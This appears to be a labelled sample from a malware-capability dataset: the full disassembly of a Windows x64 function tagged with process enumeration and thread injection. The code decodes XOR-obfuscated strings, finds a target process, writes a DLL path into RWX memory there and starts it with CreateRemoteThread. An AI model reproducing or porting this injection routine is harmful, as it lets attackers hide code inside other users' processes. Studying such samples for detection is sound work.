Function at 0x1400028d0
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x6f0
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x14005e040]
xor rax, rsp
mov qword [rbp + 0x680], rax
movabs rax, 0xeabbab7403c777c6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
movabs rax, 0x9cc48dc841c840a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
movabs r12, 0x86df85156aa31e85
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x440], rax
movabs r13, 0x9cc48dc841c8466
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x448], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x440]
movdqa xmmword [rbp + 0x10], xmm0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1e0], xmm0
mov qword [rbp + 0x1f0], rax
movabs rax, 0xa8bbe4650fd771eb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x440], rax
movabs rax, 0x9cc48dc8479fc03
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x448], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
movdqa xmm0, xmmword [rbp + 0x440]
xorps xmm0, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp + 0x440], xmm0
lea rdx, [rbp + 0x440]
lea rcx, [rbp + 0x20]
call fcn.140005530
nop
movabs rax, 0xb7bdda580fd577c3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x598d1c9bdb28b450
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
movabs r15, 0x25814018006c2ecd
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
movabs r14, 0xd20b6e62f3a624a0
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x440], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x448], rax
movabs rsi, 0x40af336b650f41bf
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x450], rax
movabs rdi, 0xd20b6e62f3a641d8
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x458], rax
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x440]
vmovdqa ymmword [rbp + 0x1c0], ymm1
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x40]
vzeroupper
call fcn.140005530
nop
movabs rbx, 0xb4bdda580fd577c3
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x598d1c9bdb2cb256
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x440], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x448], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x450], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x458], rax
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x440]
vmovdqa ymmword [rbp + 0x1c0], ymm1
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x60]
vzeroupper
call fcn.140005530
nop
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x598d1c9bdb25bc57
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x440], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x448], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x450], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x458], rax
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x440]
vmovdqa ymmword [rbp + 0x1c0], ymm1
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x80]
vzeroupper
call fcn.140005530
nop
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x598d1c9bdb2eb355
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x440], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x448], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x450], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x458], rax
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x440]
vmovdqa ymmword [rbp + 0x1c0], ymm1
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0xa0]
vzeroupper
call fcn.140005530
nop
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x598d1c9bdb29b053
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x440], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x448], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x450], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x458], rax
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x440]
vmovdqa ymmword [rbp + 0x1c0], ymm1
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0xc0]
vzeroupper
call fcn.140005530
nop
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x598d1c9bdb2eb550
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x440], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x448], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x450], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x458], rax
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x440]
vmovdqa ymmword [rbp + 0x1c0], ymm1
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0xe0]
vzeroupper
call fcn.140005530
nop
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x598d1c9bdb25bd50
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x440], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x448], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x450], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x458], rax
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x440]
vmovdqa ymmword [rbp + 0x1c0], ymm1
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x100]
vzeroupper
call fcn.140005530
nop
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x598d1c9bdb2eb45e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x440], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x448], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x450], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x458], rax
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x440]
vmovdqa ymmword [rbp + 0x1c0], ymm1
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x120]
vzeroupper
call fcn.140005530
nop
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x598d1c9bdb28b05f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x440], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x448], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x450], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x458], rax
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x440]
vmovdqa ymmword [rbp + 0x1c0], ymm1
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x140]
vzeroupper
call fcn.140005530
nop
movabs rbx, 0xb5bdda580fd577c3
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x598d1c9bdb29bd56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x440], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x448], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x450], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x458], rax
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x440]
vmovdqa ymmword [rbp + 0x1c0], ymm1
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x160]
vzeroupper
call fcn.140005530
nop
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x598d1c9bdb25b357
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x440], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x448], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x450], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x458], rax
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x440]
vmovdqa ymmword [rbp + 0x1c0], ymm1
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x180]
vzeroupper
call fcn.140005530
nop
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x598d1c9bdb24b154
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x440], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x448], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x450], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x458], rax
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x440]
vmovdqa ymmword [rbp + 0x1c0], ymm1
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x1a0]
vzeroupper
call fcn.140005530
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x1e0], xmm0
xor r14d, r14d
mov qword [rbp + 0x1f0], r14
mov ecx, 0x1a0
call fcn.14004ddd0
mov rbx, rax
mov qword [rbp + 0x1e0], rax
mov qword [rbp + 0x1e8], rax
lea rcx, [rax + 0x1a0]
mov qword [rbp + 0x1f0], rcx
lea rax, [rbp + 0x1e0]
mov qword [rbp], rax
lea rdi, [rbp + 0x20]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
mov qword [rbp + 0x1c0], rbx
mov qword [rbp + 0x1c8], rbx
lea rax, [rbp + 0x1e0]
mov qword [rbp + 0x1d0], rax
mov rdx, rdi
mov rcx, rbx
call fcn.140005650
add rbx, 0x20
mov qword [rbp + 0x1c8], rbx
add rdi, 0x20
lea rax, [rbp + 0x1c0]
cmp rdi, rax
jne 0x140003302
mov qword [rbp + 0x1c0], rbx
mov rdx, rbx
mov rcx, rbx
call fcn.140006030
mov qword [rbp + 0x1e8], rbx
mov qword [rbp], r14
lea r9, [fcn.1400054d0]
mov edx, 0x20
mov r8d, 0xd
lea rcx, [rbp + 0x20]
call fcn.14004de0c
xor edx, edx
mov r8d, 0x234
lea rcx, [rbp + 0x204]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x200], 0x238
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140003430
lea rdx, [rbp + 0x200]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140003430
mov qword [rsp + 0x20], 0x104
lea r9, [rbp + 0x22c]
mov r8d, 0x104
lea rdx, [rbp + 0x570]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs_s]
mov rbx, qword [rbp + 0x1e0]
mov rdi, qword [rbp + 0x1e8]
cmp rbx, rdi
je 0x14000341c
nop dword [rax + rax]
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1400033fd
mov rdx, qword [rbx]
lea rcx, [rbp + 0x570]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x1400035fe
add rbx, 0x20
cmp rbx, rdi
jne 0x1400033f0
lea rdx, [rbp + 0x200]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400033b0
mov ebx, 0xffffffff
xor r9d, r9d
lea r8, [rbp + 0x460]
mov edx, 0x104
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
lea rcx, [rbp + 0x460]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
movsxd r8, eax
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
lea rcx, [rbp + 0x460]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
movsxd r9, eax
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0x460]
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movabs rax, 0xb4ece97004d17bee
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x10], rcx
movabs rax, 0x9cc48dce870e048
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r8, rax
movabs rax, 0xf4bdec590ec271c9
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x440], rcx
movabs rax, 0x9cc48dcc565f607
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x448], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x1c0], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
movdqa xmm0, xmmword [rbp + 0x440]
xorps xmm0, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp + 0x440], xmm0
lea rdx, [rbp + 0x440]
mov rcx, r8
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rbx
mov r9, rax
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp + 0x1e0]
call fcn.1400053b0
mov rcx, qword [rbp + 0x680]
xor rcx, rsp
call fcn.14004dc90
lea r11, [rsp + 0x6f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ebx, dword [rbp + 0x208]
jmp 0x140003435